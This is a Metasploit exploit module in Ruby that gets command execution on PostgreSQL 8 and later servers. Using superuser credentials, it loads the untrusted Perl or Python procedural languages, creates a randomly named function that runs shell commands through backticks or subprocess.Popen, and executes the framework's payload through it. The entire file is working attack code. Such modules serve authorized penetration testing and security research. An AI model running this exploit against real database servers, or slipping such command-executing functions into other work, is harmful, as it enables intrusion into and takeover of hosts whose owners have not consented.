##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::Postgres
  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Report
  include Msf::OptionalSession::PostgreSQL

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'PostgreSQL CREATE LANGUAGE Execution',
        'Description' => %q{
          Some installations of Postgres 8 and 9 are configured to allow loading external scripting languages.
          Most commonly this is Perl and Python. When enabled, command execution is possible on the host.
          To execute system commands, loading the "untrusted" version of the language is necessary.
          This requires a superuser. This is usually postgres. The execution should be platform-agnostic,
          and has been tested on OS X, Windows, and Linux.

          This module attempts to load Perl or Python to execute system commands. As this dynamically loads
          a scripting language to execute commands, it is not necessary to drop a file on the filesystem.

          Only Postgres 8 and up are supported.
        },
        'Author' => [
          'Micheal Cottingham', # author of this module
          'midnitesnake', # the postgres_payload module that this is based on,
          'Nixawk' # Improves the module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['URL', 'http://www.postgresql.org/docs/current/static/sql-createlanguage.html'],
          ['URL', 'http://www.postgresql.org/docs/current/static/plperl.html'],
          ['URL', 'http://www.postgresql.org/docs/current/static/plpython.html']
        ],
        'Platform' => %w(linux unix win osx),
        'Payload' => {
          'PayloadType' => %w(cmd)
        },
        'Arch' => [ARCH_CMD],
        'Targets' => [
          ['Automatic', {}]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2016-01-01',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE')
  end

  def check
    vuln_version? ? CheckCode::Appears('PostgreSQL version appears vulnerable') : CheckCode::Safe('PostgreSQL version does not appear to be vulnerable')
  end

  def vuln_version?
    version = postgres_fingerprint

    return unless version[:auth]

    vprint_status version[:auth].to_s

    version_full = version[:auth].to_s.scan(/^PostgreSQL ([\d\.]+)/i).flatten.first

    Rex::Version.new(version_full) >= Rex::Version.new('8.0')
  end

  def login_success?
    status = do_login(username, password, database)
    case status
    when :noauth
      print_error "#{peer} - Authentication failed"
      return false
    when :noconn
      print_error "#{peer} - Connection failed"
      return false
    else
      print_status "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - #{status}"
      return true
    end
  end

  def load_extension?(language)
    case load_procedural_language(language, 'LANGUAGE')
    when :exists
      print_good "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - #{language} is already loaded, continuing"
      return true
    when :loaded
      print_good "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - #{language} was successfully loaded, continuing"
      return true
    when :not_exists
      print_status "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - #{language} could not be loaded"
      return false
    else
      vprint_error "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - error occurred loading #{language}"
      return false
    end
  end

  def exec_function?(func_name)
    query = "SELECT exec_#{func_name}('#{payload.encoded.gsub("'", "''")}')"
    select_query = postgres_query(query)

    case select_query.keys[0]
    when :conn_error
      print_error "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Connection error"
      return false
    when :sql_error
      elog(select_query[:sql_error])

      missing_executable_match = select_query[:sql_error].match "FileNotFoundError[^\t]*"
      unless missing_executable_match.nil?
        print_error "#{missing_executable_match} - The target binary was not found on the target."
        return false
      end

      if select_query[:sql_error].match? 'execution expired'
        print_warning 'Timed out. The function was potentially executed.'
        return true
      end

      print_warning "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Unable to execute query: #{query}"
      return false
    when :complete
      print_good "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Exploit successful"
      return true
    else
      print_error "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Unknown"
      return false
    end
  end

  def create_function?(language, func_name)
    load_func = ''

    case language
    when 'perl'
      query = "CREATE OR REPLACE FUNCTION exec_#{func_name}(text) RETURNS void as $$"
      query << "`$_[0]`;"
      query << "$$ LANGUAGE pl#{language}u"
      load_func = postgres_query(query)
    when /^python(?:2|3)?/i
      query = "CREATE OR REPLACE FUNCTION exec_#{func_name}(c text) RETURNS void as $$\r"
      query << "import subprocess, shlex\rsubprocess.Popen(shlex.split(c))\r"
      query << "$$ LANGUAGE pl#{language}u"
      load_func = postgres_query(query)
    end

    case load_func.keys[0]
    when :conn_error
      print_error "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Connection error"
      return false
    when :sql_error
      print_error "#{postgres_conn.peerhost}:#{postgres_conn.peerport} Exploit failed"
      return false
    when :complete
      print_good "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Loaded UDF (exec_#{func_name})"
      return true
    else
      print_error "#{postgres_conn.peerhost}:#{postgres_conn.peerport} - Unknown"
      return false
    end
  end

  def load_procedural_language(language, extension)
    query = "CREATE #{extension} pl#{language}u"
    load_language = postgres_query(query)
    return :loaded unless load_language.keys[0] == :sql_error

    match_exists = load_language[:sql_error].match(/(?:(extension|language) "pl#{language}u" already exists)/m)
    return :exists if match_exists

    match_error = load_language[:sql_error].match(/(?:[Cc]ould not (?:open extension control|access) file|unsupported language)/m)
    return :not_exists if match_error

    # Default to something sane
    :not_exists
  end

  def do_login(user, pass, database)
    begin
      password = pass || postgres_password
      result = postgres_fingerprint(
        db: database,
        username: user,
        password: password
      )

      return result[:auth] if result[:auth]

      print_error "#{peer} - Login failed"
      return :noauth
    rescue Rex::ConnectionError
      return :noconn
    end
  end

  def exploit
    self.postgres_conn = session.client if session
    return unless vuln_version?
    return unless login_success?

    languages = %w(perl python python2 python3)
    languages.each do |language|
      next unless load_extension?(language)

      func_name = Rex::Text.rand_text_alpha(10)
      next unless create_function?(language, func_name)

      if exec_function?(func_name)
        print_warning "Please clear extension [#{language}]: function [#{func_name}] manually"
        break
      end
    end
    postgres_logout if @postgres_conn && session.blank?
  end
end